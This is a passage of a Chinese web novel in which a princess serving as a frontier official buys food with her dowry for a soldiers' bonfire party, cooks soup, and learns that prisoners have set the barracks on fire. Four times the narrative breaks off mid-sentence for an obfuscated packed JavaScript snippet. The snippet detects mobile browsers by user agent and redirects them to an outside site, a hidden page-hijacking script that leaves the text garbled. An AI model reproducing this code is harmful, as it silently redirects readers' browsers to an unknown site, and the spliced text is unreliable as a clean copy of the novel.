国子监都是由大儒或官员担任教师,师资力量比小地方强得多。 经过国子监的学习,学生们更有可能考中科举,被委任为正式官员。 虽然国子监面向天下招生,但也不是谁都能进去的。 因此,有几个乡绅动了旁的心思。 乡绅莫承业道:“任将军,我家放弃吏员资格,并且愿意借一千两军费,可不可以多换一个国子监监生的名额?” 任将军道:“可以。” 见任将军同意了,有好几个乡绅愿意出军费,换取国子监入学名额。 而有些乡绅对于出借军费一事有些犹豫,借口说回家再跟家人商量一下,任将军也没勉强他们。 愿意借钱的,任将军都让副将做了统计,发放军队债券。 最后,一共筹到了几千两军费。虽然数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146962|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目不多,但也解了燃眉之急。 这些乡绅们各自回家后,一边送走家中女眷,一边把所有的空房间腾了出来,把花园、走廊也打扫出来。 任将军让一部分士兵入住这些富户家中,一共住进了六千来人。 剩下的数千士兵虽然还是要借住百姓家中,但他们不再长住某一家,而是换着住。 这样,百姓们也有了休息时间,矛盾有了缓解。 有几家富户愿意让自家的子侄来当吏员,因此衙门里的吏员也多了五六个。 余县丞对新来的吏员进行了考核,确认他们有基本的文化水平,便让他们安顿了下来。 系统对姜柠道:“姜柠,你缓解了百姓和士兵之间的矛盾,还让衙门里多了几个办事的人,获得了三千积分。” 姜柠道:“百姓们还是要每隔两三天就接待士兵,感觉问题并没有真正解决。” “但总比每天都招待士兵好。你已经最大限度地帮了他们了。” “但愿吧。” 晚上,姜柠回到房间,一直没睡着。 她其实很累了,但累到一定程度,反而睡不着了。 于是,她打开了夸夸群。 【樱桃小完犊子:姜柠这两天过得怎么样啊?】 【姜柠:还行吧,处理了一些公务。】 姜柠便把自己处理的公务大概说了一下。 【只涨工资不长肉:姜柠太厉害了,竟然想出霉神会带来霉运的说法,让那些老人不敢吃发霉的菜,你简直就是甜菜!】 【姜柠:为什么说我是甜菜?】 【只涨工资不长肉:就是天才,谐音梗,哈哈哈哈】 【有趣的灵魂一百多斤:我觉得,我父母需要这个霉神,他们也爱吃剩饭剩菜。】 【活人微死:现代人应该不相信有霉神的存在吧。】 【有趣的灵魂一百多斤:那倒是,我没辙了。】 【姜柠:为什么你的父母不相信有霉神?】 【有趣的灵魂一百多斤:很难解释,现代人的思维跟古人不一样。】 【回笼教教主:谁懂啊,今天晚上我爸妈煮了发霉的米饭。】 【你已被群主移出群聊:那你吃了吗?】 【回笼教教主:当然吃了,我妈做的饭我哪敢不吃啊?现在正在医院挂盐水。】 【你已被群主移出群聊:那你爸妈知道吗?】 【回笼教教主:知道啊,他们也在挂。】 【你已被群主移出群聊:哈哈哈哈哈】 【樱桃小完犊子:哈哈哈哈哈……】 【感觉尸体暖暖的:我不厚道地笑了】 【只涨工资不长肉:@回笼教教主那你爸妈后悔了吗?】 【回笼教教主:并不,他们说幸好他们平时节省,要不然现在哪有挂盐水的钱。】 【樱桃小完犊子:emmmmmm】 【你已被群主移出群聊:不行了我面膜笑裂了】 【有趣的灵魂一百多斤:@回笼教教主你父母才是真正的甜菜】 【活人微死:逻辑闭环了属于是】 20. 晚会(修) 【姜柠:什么是挂盐水?】 【回笼教教主:就是一种治疗方法,把一根细针插进皮肤里,药水通过细针传输到身体里。】 【姜柠:听起来很痛的样子。】 【回笼教教主:不痛,就是时间比较久。】 【姜柠:为什么现代人也吃发霉的东西?】 【回笼教教主:省钱这个事吧,不分古人今人,哈哈哈】 【姜柠:可是之前你们不是说,你们那个年代根本就不缺食物吗?】 【活人微死:不缺是一回事,老人要省又是另一回事。反正吵也吵不赢,只能随他们去了。】 【姜柠:好吧,那他们要是吃馊饭生病了,不也得花钱治疗吗?难道他们宁可去花大钱?】 【活人微死:是啊,很多人把钱花到医院里就舒坦了。平时花点钱改善生活条件是万万不行的。】 【你已被群主移出群聊:救命,我妈把昨天吃剩下的菜全都混在一起,加了点水煮成汤,叫我们喝掉。】 【樱桃小完犊子:哈哈哈哈哈为你默哀三秒钟】 【活人微死:很好奇是什么味道。】 【你已被群主移出群聊:你来我家,我请你喝。】 【活人微死:不要,886】 【回笼教教主:@你已被群主移出群聊要提前给你联系救护车吗?】 【你已被群主移出群聊:不用,我一会多吃点饭,少吃点那个黑暗料理。】 【只涨工资不长肉:结果发现饭也是发霉的】 【你已被群主移出群聊:你礼貌吗?】 【樱桃小完犊子:哈哈哈】 【姜柠:姐姐们不能自己做饭吗?这样可以偷偷把发霉的食物扔掉。】 【你已被群主移出群聊:不行,我妈会记住家里所有的食物,少了一样唯我是问。】 【回笼教教主:我妈不许我进厨房,说我做饭太浪费煤气。】 【有趣的灵魂一百多斤:我倒是能进厨房,但我妈会一直在旁边盯着,然后不停地说我哪里做错了,哪里不对。】 【活人微死:……】 【樱桃小完犊子:……】 【感觉尸体暖暖的:好窒息啊。】 【你已被群主移出群聊:真羡慕姜柠,不用面对这样的问题,平时有丫环做饭,家人也不会吃变质的食物。】 【姜柠:祝姐姐们好运。也许等你们的家人多生几次病,就会改正这一习惯了。】 【你已被群主移出群聊:改不了一点,呜呜呜】 【活人微死:改是不可能改的,只会继续变本加厉地省钱】 【樱桃小完犊子:555我奶奶刚才把抽油烟机里的油喝了】 【有趣的灵魂一百多斤:大袜子这是中文吗?】 【只涨工资不长肉:由于我阅读速度过快,当我意识到我看了什么的时候,已经来不及了】 【感觉尸体暖暖的:@樱桃小完犊子这个赛道你奶奶赢了,赢麻了】 【有趣的灵魂一百多斤:送去洗胃了吗@樱桃小完犊子】 【樱桃小完犊子:没呢,现在在尝试给她催吐,我先去忙了,回聊】 大家治病的治病,忙碌的忙碌,都下线了。 姜柠也在一脸震惊中,进入了梦乡。 第二天,姜柠醒来时,时间还早,没到点卯的时辰。 姜柠便随便梳洗了一番,出去逛逛。 她在河边看到了昨天来告状过的一个小女孩,那个小女孩正在往水桶里装水。 水装得有些满,对这小女孩来说,应该太重了。 姜柠问道:“小姑娘,你一个人提这么重的水桶?” 那小姑娘见到姜柠,有些惊讶,赶紧行礼道:“见过公主。” 姜柠:“不用客气。” 小姑娘说道:“我家一直是我提水回去,我已经习惯了,不是很重。” “我叫个侍卫来帮你。” “不用了。” 说着,那小女孩提起了水桶。她的身躯稍稍摇晃了一下,但手臂稳稳当当的。 看来,她真的能提得动这桶水,但姜柠还是有些心疼。 这时,那小女孩把水桶放下,有些难过地说:“公主,我不知道昨天来告状对不对。” 姜柠问道:“你为什么这么说?” 小女孩:“住在我家的七个士兵已经搬走了,他们得知我爹娘为了给他们做饭,砍掉了我妹妹的木头小马和小木床当柴烧,很过意不去。他们一大清早就去砍了一棵树回来,给我妹妹做了一些木头玩具,剩下的木头都劈成了柴,整齐地叠在院子里。 他们是在外头劈柴,没有吵醒我们。今天我们一家人醒来的时候,发现那七个士兵已经不见了。他们留下书信说,这段时间多谢我们家的照顾,他们暂时去别人家住一段时间,下次再回来。 他们走了之后,我突然觉得,赶他们走有点过分。其实,昨天我也没那么想来告状,是其他孩子硬拉着我去的,而且我爹娘也……” 她大概想说,她爹娘也对此持默许态度。但是,她又觉得说出这句话不太好,所以只说了一半。 姜柠明白她的意思,安慰道:“没关系,这么多人住在你家确实不太方便,也会吃掉你们家为数不多的食物。让一部分士兵住到富户家里,其他士兵在百姓家中轮流住宿,是任将军下的命令。你们如果一直接待这些士兵,也会很累的,正好休息一下。过几天他们就会回来住了。” “嗯。公主,那些士兵有家吗?” “他们有家,但现在回不去。” “他们什么时候才能回家?” “等服完兵役,并且还活着的情况下,应该能回家吧。” “他们好像很辛苦。” “是啊。” “等他们下次回来,我摘野菜给他们吃。” 说完,小女孩便提着水桶走了。 姜柠叫来一个暗卫,让他帮忙把水桶提到小女孩家里。 姜柠觉得,没有人的生活是容易的。 这些士兵冒着生命危险守城,容城丢了之后不得不寄居在栾伊城中。时间长了,令百姓暗中不满。 而百姓们也有难处,即便是刚才这个小女孩,也要每天提这么重的水回家。 而姜柠自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146963|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虽然锦衣玉食,但被迫跟大公主交换身份,成为和亲公主,前途未卜,其实也不容易。 不管怎样,要为自己,为百姓,挣出一条活路。 今天晚上就是篝火晚会,是为了欢迎那些被赎回来的南萧将士而设。 军中军费不足,也不知道这晚会要如何办得热闹。 姜柠派了一个侍卫去问任将军,是否有自己能帮得上忙的地方。 任将军回话说,军费中本就有一小部分可以用于娱乐开支,他拿出二百两银子来,置办一些简单的食物和水果,问题不大。 姜柠的钱虽然花得差不多了,但自己的嫁妆中还有好几箱珠宝,非常值钱。 她打算拿出一部分珠宝卖掉,换成钱,购买一些物资,把篝火晚会办得热闹些。 她回到住处,打开珠宝箱子,盘算着拿什么珠宝出去换东西。 这时,二皇子萧奕知起床了,在院子里练剑。他的职责是护送姜柠进北胤,并把大皇子平安接回来。 现在北胤那边还没来接姜柠,也就没法把大皇子萧奕兴换回来。 所以,他这些天一直住在这儿,哪也去不了。 姜柠现在跟他是名义上的姐弟,便走出去对他道:“二皇弟,你起来了?” 二皇子收了剑,温润地笑道:“大皇姐,好像您起得更早。” “今天晚上的篝火晚会,你参加吗?” “嗯,任将军邀请我了,我会去的。到时候大皇姐就待在我身边好了,这样安全些。” “也好。我想拿自己的珠宝换点物资,在篝火晚会上用,你觉得该去哪里换?换些什么东西好?” 二皇子有些惊讶:“皇姐,那可是你的嫁妆。你去了北胤之后,还要靠这些珠宝装点门面的。要是首饰不够多,如何能在北胤后宫脱颖而出呢?” “那是以后要考虑的事,而且拿出一点点首饰来对我并没有什么影响。这些将士们保家卫国非常辛苦,平时也没什么娱乐活动。好不容易举办一次篝火晚会,我想办得热闹些,也算是犒劳他们了。” “就算要犒劳将士,也该是父皇和百官们要考虑的事,怎么能动用皇姐的嫁妆?” “不要紧的,这也是我的一点心意。” 二皇子:“好吧。将士们平时应该不太能吃到精细的主食,皇姐可以买一些大米、小米、面条、米线之类的主食,煮成粥和面汤。再买一些不同口味的酱菜,跟粥和面汤搭配起来,既好吃,又能补充盐分。 另外,边地苦寒,将士们应该很少吃到新鲜蔬菜。如果能买到不同种类的蔬菜,既能补充各种营养,炒出来又好看,而且也不用花多少钱。 至于肉类,任将军应该会筹办,很多士兵也在漫山遍野地打野味,皇姐可以适当购买一些富户家中储存的腌肉之类的,不需要太多。” 姜柠点头:“你说得对。菜是不是用来炖汤比较好?这样能多分给几个人。后面的人就算捞不到菜,也能喝到菜汤。” 二皇子道:“皇姐考虑得周到,正该如此。” 姜柠拿出了一部分首饰,保存在包袱里,然后带着一些士兵,去大街小巷逛逛。 21. 炖汤(修) 她们先来到米行,买了大米、小米、面条各一百斤。 米行里还有一些干蘑菇、干贝、油盐等物品,姜柠也买了许多,用自己的首饰付账。 士兵们推着板车,把这些食物放在上面,先运到篝火晚会的地点。 火头兵们已经在忙碌了,准备晚上的食物。但人手不太够,这些运送米粮的士兵就被留下来帮忙。 姜柠继续逛着。 她想找专门卖酱菜的店,但找不到,便拉着一个百姓询问。 这个百姓道:“我们这儿没有专门卖酱菜的店,要吃酱菜一般都是自己腌的。金山大街上有一户姓朱的人家做了好几缸黄豆酱,我们平时会去他家买,您可以去看看。” “好,谢谢了。” 姜柠带着剩下的随从找到了那户姓朱的人家。 这户人家开着门,里面并不是商店的布局,而是跟普通住户一样,有客厅,有卧室,有厨房,乍一看不像卖东西的地方。 姜柠走了进去,高声问:“有人吗?” 一个白发苍苍的老人弓着腰走了出来,问道:“什么事啊?” “您是朱阿公吗?” “是啊。” “您家有酱吗?我想买。” “有。你带了碗或者壶吗?我舀给你。” “啊?还要自己带容器?” “对啊,大家都是拿自家的碗或者壶过来的,我这里没有多余的容器。” 姜柠有些惊讶。她没有考虑到小地方一切从简,没有大城市的店铺那样装备齐全。 在京城,不仅有专门卖各色酱菜的店,而且店里有大小不同的容器,从小茶碗到大缸那样大小的都有,只需要带着钱去就好了。 姜柠有些为难,道:“我们没带容器,可以先去看看酱吗?” “可以,不过我家也没有多余的碗,如果把碗给你用了,我中午就没法吃饭了。” “嗯,不会拿您的碗,一碗也不够我们吃的。” 朱阿公带着姜柠来到后院,这里放着六个大缸,缸上都有盖子。 揭开盖子,里面是浓醇的黄豆酱,闻着香气扑鼻。 其中有一缸黄豆酱只剩下一半了,看样子是卖剩下的。 姜柠道:“朱阿公,我们能把这个缸搬走吗?明天再给您搬回来。” 朱阿公:“啊?要连缸端走?可以吧,那你们自己扛,我扛不动。” “好,我带了人来。” 姜柠便指挥着士兵把剩了一半黄豆酱的缸搬到了板车上。 她掏出一个银手镯付账,银手镯的价值比这半缸黄豆高些。 朱阿公很高兴,道:“这个镯子倒可以给我孙女戴。” 姜柠又问道:“朱阿公,你家除了黄豆酱,还有别的酱吗?” “没有了,我只会做黄豆酱。其他人家也许有别的酱菜,您可以到处问问。” 姜柠心想,百姓家中腌制的酱菜应该只够自己一家吃的,如果要去买,数量太少不够将士们吃的,如果要多买一些,就要多走访很多人家,也挺麻烦的,不如就用黄豆酱对付过去吧。 因此,买酱菜就买到这里了。 接下来,她想去买一些新鲜蔬菜。 但是走了好几个菜市场,都没买到多少新鲜蔬菜,鸡蛋、腌肉、生姜、豆角、菌菇、豆腐、红枣之类的倒是买到一些。 由于现在栾伊城失去了屏障,直面北胤军队,很多商人不敢进城了,所以很多东西都买不到。 百姓们本来会自己种菜,但这些天不敢频繁出去打理菜地,导致本地的菜也少了。 姜柠安慰自己道:“能买到这些也不错了,到时候多放点水,让将士们多喝汤好了。” 姜柠正准备离开,忽然看见角落里有一个人在卖蜜饯。 只是,这些蜜饯很干瘪,个头也小,看着就不好吃。 卖蜜饯的是个四十来岁的大娘,她对姜柠说道:“姑娘,买一些吧,便宜卖了,可以先尝尝。” 姜柠便拿起一颗话梅尝了,果然不好吃,干巴巴的没什么味道。 不过,这些蜜饯大部分都是用水果做的,如果买回去泡水,让将士们喝,多多少少也能补充一些营养。 因此,姜柠就把这些蜜饯都买了下来。 采购完毕,她让几个随从把新买的蔬菜、蜜饯等物送到郊外,交给火头兵。 然后,她就去了乡绅林盛家,找任将军。 林家住了许多士兵,跟上次相比,拥挤了很多。过道上全是地铺,花园里也拉了防水布,用来遮挡雨水和阳光。 许多士兵席地而坐,三三两两地说话。 姜柠从他们当中穿行,他们大部分人都不认得姜柠,不过见姜柠衣着华丽,猜测她身份不凡,因此纷纷让道。 也有认识姜柠的士兵,朝她喊道:“公主!” 姜柠笑道:“大家都辛苦了。今天晚上的篝火晚会,我为大家准备了好吃的。” 士兵们都欢呼起来,姜柠心中也很高兴。 她走了好一会,终于来到客厅。 任将军正在跟几个副将议事,姜柠站在门口,问道:“我没打扰你们吗?” 任将军道:“没有,我们正在讨论晚上做些什么菜,该如何安排场地。” 姜柠:“听说篝火晚会在郊外举行?但是士兵这么多,坐得下吗?” “应该坐不下,所以我们打算分四场举办,每一场五千人左右,持续时间半个时辰。四场下来,大概两个时辰结束。” “这样也好。可惜不能让所有士兵同时参与庆典。” “场地不够大,没办法。公主这会来做什么?是否有什么事需要末将效劳?” “没有,我来是想说,我买了一些物资,可以加进晚上的菜谱里。” 姜柠便把自己买的东西大致说了一下,任将军惊讶道:“公主,您怎么能这么花钱?再这样下去,您还没去北胤,嫁妆就没了。” “不会,我心里有数,嫁妆还剩很多呢。而且,米面之类的很便宜,我也没花多少钱。” “那末将代全体将士多谢公主了。本来军中还剩一些军粮,我打算煮点稀粥,蒸一些馒头,再煮点肉汤。公主买了这么多食物,可以把粥煮得稠一点了,菜也可以多几个。这帮臭小子,只怕比过年还开心呢。” “哈哈,那就好。难得有一次庆典,让将士们多吃点好吃的,轻松一下。可惜这栾伊城里没有品质更好的食物,我能买到的米面蔬菜都比较一般,大家凑合着吃吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146964|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这已经比大伙平时的食物好很多了。” “对了,晚会上会表演节目吗?” “我打算让将士们自己安排,愿意表演节目的就可以表演,不做具体安排了。到时候一定会很有意思的。” 姜柠也有些期待,不知道将士们会表演什么节目。 任将军又叮嘱道:“公主,晚会人太多,到时候您得坐末将身边,就算要起身,也得随时带几名暗卫保护自己。” 姜柠点头:“我明白。” 眼看已经到了衙门点卯的时间,姜柠便告辞了,往县衙而去。 路上,系统跳出来道:“姜柠,你自掏腰包给将士们准备食物,获得两千积分。如果你亲自做菜的话,还能再加五百积分。” “好啊,我得看看今天衙门里忙不忙,不忙的话就早点去郊外做饭。” “可惜本系统没有身体,不能吃到姜柠做的饭。” “你不能变成一只真的小狗吗?” “不能,生物和非生物之间有壁,说了你也不明白。” 姜柠来到公廨,点了卯,随便看一些公文。 今日不太忙,吃过午饭后不久,姜柠就让余县丞处理剩下的公务,她先去郊外做饭了。 郊外,所有的火头兵都在忙碌着。 还有一些会做饭的普通士兵,也被抓了壮丁,帮忙打下手。 姜柠说要帮忙做菜,士兵们赶紧拒绝:“公主,这里油烟太重,您别过来。” “是啊,您是金枝玉叶,怎么能干活呢?” “万一受伤了,小的们没法交代。” 姜柠道:“你们别紧张,我会做菜,不会受伤的。你们要是不放心,我不碰菜刀总行了吧?” 士兵道:“您接近锅也不行,会被烫到。” “不会的,我以前也做过菜。” 在姜柠的坚持下,士兵们只好同意了,分了一口锅给姜柠。同时,还有几个士兵在旁边打下手,务必保证姜柠碰不到菜刀。 姜柠见他们如此紧张,便只能做一个简单的菜了。 她打算做个白菜三鲜汤,需要用到白菜、鸡蛋、葱花、腊肠、豆腐等食材。 但食材不多,每样食材都要用在好几个菜里,姜柠只分到了一小部分。 不过,菜少一点也能做,无非是多加点水罢了。 她让士兵们帮忙把白菜、豆腐切成小块,腊肠也切成丁,放在一边备用。 然后,她打了几个鸡蛋,放在锅中煎了,用铲子切成小块,再捞出来放在一边。 接着,她继续煎鸡蛋,直到把分配给她的鸡蛋煎完为止。 然后,她把碎鸡蛋全部放进锅中,加水烧开,再加入豆腐、白菜、腊肠、蘑菇等菜,再加点盐炖煮。 每样菜都不多,水却加得很满,远远看上去就像一锅清汤。 这也没办法,人数太多,只能这样将就着做菜了。 姜柠尝了一口汤,感觉到有淡淡的盐味,就差不多了,没有再加。毕竟盐也是重要物资。 这个汤很快就煮好了,香味飘散,火头兵们纷纷拿着自己的碗过来了。 “公主,我尝一点。” “我也舀一点。” “真香,我也喝一口。” 22. 纵火(修) 大家争先恐后地喝汤,很快汤就明显少了一些。 还好锅够大,剩下的汤还够其他将士们喝的。 姜柠让人把这口锅搬到一边,盖上盖子,就算完成了。如果锅一直架在火堆上,很快就会把汤烧干。 其实这锅汤味道比较淡,并不算鲜美,但火头兵们还是吃得津津有味,可想而知他们平时的伙食有多差。 姜柠心里有些心疼,但没有表现出来。大家都在高兴的时候,她不想扫兴。 系统跳了出来:“叮!你为将士们做菜,获得五百积分。现在的积分是:41200。” “好的。” —— 申时四刻,篝火晚会开始。 任将军和几个副将坐在早就搭建好的高台上,姜柠的位置在任将军的后面,而且比任将军的座位要高,是全场视野最好的。 在姜柠身边,站着十来个身手好的侍卫,方便保护她。 在暗处,还有一堆暗卫关注着姜柠,可以说姜柠被保护得密不透风。 姜柠左边坐着二皇子萧奕知,他对姜柠说道:“皇姐,一会你若是累了或者有其他需求,随时跟我说。” “好的,我应该会看完全场吧。” 对热闹的篝火晚会,姜柠很是期待。 冬香和小雪坐在姜柠右侧,准备了一堆小零食,一边吃,一边闲聊。 今天是她们俩最放松的时候,以前她们一直在为姜柠担忧。 郊外一次只能容纳五千士兵,被姜柠赎回来的两千多士兵先入场,根据军官们的安排,各自席地而坐。 人虽多,却不杂乱。 他们平时训练有素,按照操练时的阵型排列开来,就比较整齐了。 今天的篝火晚会,本是为了欢迎这些被俘的将士回来,所以这批将士安排在第一场,位置也是比较靠中间的。 接着,又有接近三千士兵过来,各自坐在外围。 很快,郊外就坐满了人。 但是,任将军不发话,没人动,也没人说话。全场静悄悄的,只有数十口铁锅发出“咕噜咕噜”的声音,听得人垂涎三尺。 在最中央的空地上,堆起了高高的木柴。 一个士兵拿火把点燃木柴,温暖的火焰“噌”的一下就蹿起来了,大家心里都有些兴奋。 任将军站了起来,高声道:“将士们,今日的篝火晚会,本应尽情玩乐,但因场地太小,不方便活动,所以大家不要有太大的动作,也别到处乱蹿。一会除了发食物的火头兵和表演节目的士兵外,其他人就坐在自己的位置上。” 众士兵齐声道:“遵命!” 任将军:“现在,请大家拿出自己的水杯,各小队的队长会给你们倒果茶。” 听见有果茶喝,士兵们都十分高兴。 姜柠知道,果茶是用自己买来的劣质蜜饯泡出来的,不会好喝,但也算有点味道,比白开水好。 她希望下次能买到很多新鲜水果和上好的蜜饯,泡出真正美味的果茶给大家喝。 很快,每个士兵都分到了一杯果茶。 高台上的任将军、副将们、姜柠等人,也分到了一杯茶。 不过,姜柠她们的茶是用上好的祁门红茶泡出来的,上面还漂着一些桂花,入口清香甘甜,带着果香,回味悠长。 任将军回头问姜柠:“公主,您喝得惯吗?” 姜柠点头:“挺好喝的,是哪来的茶叶?” “这是末将珍藏的祁门红茶,数量不多了。不过若是给公主一个人喝,还是够的。末将没有更好的茶叶了,请公主见谅。” “没关系,我很喜欢喝。剩下的茶叶你自己留着吧,不必给我了。” 任将军也喝了一口茶,接着对士兵们说道:“从北胤赎回来的士兵们,你们知道是谁出钱赎回你们的吗?” 两千多士兵异口同声地说道:“是大公主!” 任将军:“你们在北胤辛苦了,今日本该让你们开怀畅饮,但军中的酒不够了。今日,大家就以水代酒,敬大公主一杯!” 被赎回来的两千多士兵一起站了起来,举起杯子,大喊:“敬大公主一杯!” 姜柠也赶紧站了起来,看向他们:“众位将士辛苦了,你们是南萧的子民,南萧国不会不管你们。从今以后,尔等需继续为国尽忠!” “为国尽忠!为国尽忠!” 两千多人一起喊,可谓是声震云霄。 姜柠只觉得壮怀激烈,热泪盈眶。 一个国家就是靠这些普通士兵守护的,他们是国家的基石。 以前,姜柠一直待在家里,虽然学过很多东西,但对这个世界没有比较清晰的认知。 现在,她离开了家,来到国家的边境,感受到了更为广阔的东西。 冬香过来捂住姜柠的耳朵,道:“公主,声音太大了,奴婢给你捂着耳朵吧?” 姜柠摇头:“没关系,我不怕。” 冬香便退了下去。 接着,任将军一挥手,道:“大家安静!接下来是娱乐时间,火头兵们会把食物发给你们,你们当中有才艺的可以出来表演节目。不拘什么才艺,胸口碎大石也行。凡是表演的,都可以得到赏钱。现场人数太多,一个人表演,只有附近的人能看见,所以可以多人同时表演节目,只要不挤到其他人就可以了。” 将士们欢呼起来。 他们也不扭捏,一下子有几十个人站出来,要表演节目。 军官们让他们各自站得远些,这样就能尽可能让更多人看见节目。 当然,士兵们里三层外三层坐着,肯定没法看见全部节目,只能看见自己附近的一两个。 士兵们表演的节目也是花样百出,有跳舞的,有击剑的,有唱歌的,有讲笑话的,也有模仿动物的。 有些表演得不错,也有些非常滑稽,引得众人一阵大笑。 姜柠和任将军等人在高台上,可以看见所有的节目。 姜柠目不暇接,一会被这个节目吸引,一会又被那个节目吸引。 小雪拉着姜柠的胳膊,笑道:“公主,快看那边,有个人在模仿猴子!模仿得太像了!” 姜柠看了过去,果然看见一个士兵挤眉弄眼的,在模仿猴子。他一会跳来跳去,一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146965|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又发出怪叫。旁边的士兵给他扔水果,他只吃香蕉和桃子,一边吃还一边兴高采烈地跑来跑去,十分生动。 冬香对姜柠道:“公主,快看那边,那个士兵在表演剑舞,可是动作没一个是标准的。” 姜柠看向另一边,果然见到一个士兵在舞剑,姿势夸张而怪异。旁边有人击鼓为他伴奏,可他没有一个动作是踩在点上的。 姜柠看笑了,都顾不上吃东西。 火头兵们在场上穿梭,给在座的士兵们分发食物。 今天光是主食就有七八种,配菜也有二十多样,虽然稀了点,但对士兵们来说已经是盛宴了。 姜柠等人吃的自然是特制的美食,跟普通士兵不同。 这会其实还早,没到姜柠平时吃饭的点,所以她也不饿,随便吃了几口。 小雪是个大馋丫头,见姜柠不吃,就偷偷把姜柠面前的食物吃了个精光。 姜柠笑了笑,只当没看见。 军士们载歌载舞,场面十分热闹。 很快,半个时辰就快过去了。第一批军士们的聚会就到这里,接下来要准备让第二批军士入场庆祝。 这时,却有几个士兵骑着快马飞奔而来,很快就到了高台旁边。 这几个士兵也不等任将军传唤,直接就上了高台,对着任将军耳语几句。 任将军惊得站了起来,问道:“此事当真?” 几个士兵道:“是真的,请将军赶快回去主持大局!” 姜柠也站了起来,问道:“任将军,怎么回事?” 任将军道:“兵营发生火灾,好像是北胤的两个战俘放的火,目前损失未知,人已经被抓住了。末将现在要赶快回去处理此事,公主可以继续留在此地,或者回县衙休息。” 姜柠道:“要不我和二皇子也一起去看看吧?” 任将军略加思索,道:“也好,那就有劳大公主和二皇子移驾。” 任将军身边的副将们也都听见了这些话,纷纷站了起来,看向任将军。 任将军对其中一个副将说道:“邢玉楼,你继续在此主持晚会。就说计划有变,今天晚上只让第一批士兵参加,剩下三批士兵的晚会另外安排。在场的士兵不要退场,其他士兵也不要过来,以免发生混乱。” 副将邢玉楼道:“是,将军。不需要让在场的士兵也跟您一道去吗?” 任将军摇头:“军营容不下这么多士兵,全跟了回去反而混乱不堪。北胤俘虏总共也才八百多人,留在军营的几千士兵足够应付他们。” 邢玉楼道:“是。” 任将军对其他副将道:“其余的副将,各自带上自己的心腹,跟我去兵营。另外,派几个亲兵专门保护大公主和二皇子。” “是。” 接着,任将军高声对在场的士兵道:“各位将士,为了让大家伙尽兴,本将军临时决定,让你们的晚会时间增加一个时辰,其余未到场的士兵,会在其他日子安排晚会。今天晚上所有的美食都是你们的,大家接着吃,接着表演! 本将军有事离开,邢副将会留在这里,你们有什么事找他就可以!” 23. 请罪(修) 这些士兵本来以为自己只能玩半个时辰,正感到遗憾,没想到将军延长了他们的晚会时间,于是众人都喜出望外,高兴地叫喊。 在一片喧哗声中,任将军带领姜柠等人,回到了兵营。 兵营建在城北,没有什么民居的地方。 这里地方不大,一共只能搭五百来个帐篷。一个帐篷住十人左右,所以兵营这里一直是有五千左右的士兵的。 今天晚上第一批参加篝火晚会的,除了被赎回来的两千多士兵,另外三千左右的士兵是兵营里的,所以这会兵营空虚,兵力只剩下两千左右,很多帐篷都空着。 而那些空着的帐篷,很多都被烧毁了,目测共烧毁了七八十顶帐篷,现场一片狼藉。 现在火已经扑灭了,空气中还残留着烧焦的味道。 有一小队南萧士兵到处巡逻,大概有五十多人。 小队的队长见到任将军到来,赶紧策马上前,然后下马请罪:“属下失职,令两名北胤俘虏纵火烧毁许多帐篷,请将军治罪。” 这个队长叫杨百寻,职位是百夫长,也是任将军的心腹之一。 任将军沉着脸问:“事情是怎么发生的?” 杨百寻道:“今天晚上是篝火晚会,大家都松懈了。兵营里有接近三千士兵都去了东边郊外参加第一批篝火晚会,剩下的两千士兵本来排在第三批。大家都很期待去参加晚会,我让他们各自待在自己的帐篷里,不到时间不许出来。 当时,我一心想着等会该如何带队,如何维持秩序,就忘了防备那些北胤俘虏,被他们钻了空子。” 任将军问:“难道兵营里没有岗哨吗?” “有岗哨,但是那两名俘虏穿着本国将士的军服,天色又黑,站岗的士兵一下子没认出来。而且他们烧的都是没人的帐篷,所以等火势变大时,我们才发现。还好灭火及时,烧掉的帐篷有限,没伤着人。” 听见无人受伤,任将军送了一口气。接着,他又问道:“那两名俘虏怎么会有南萧将士的军服?” 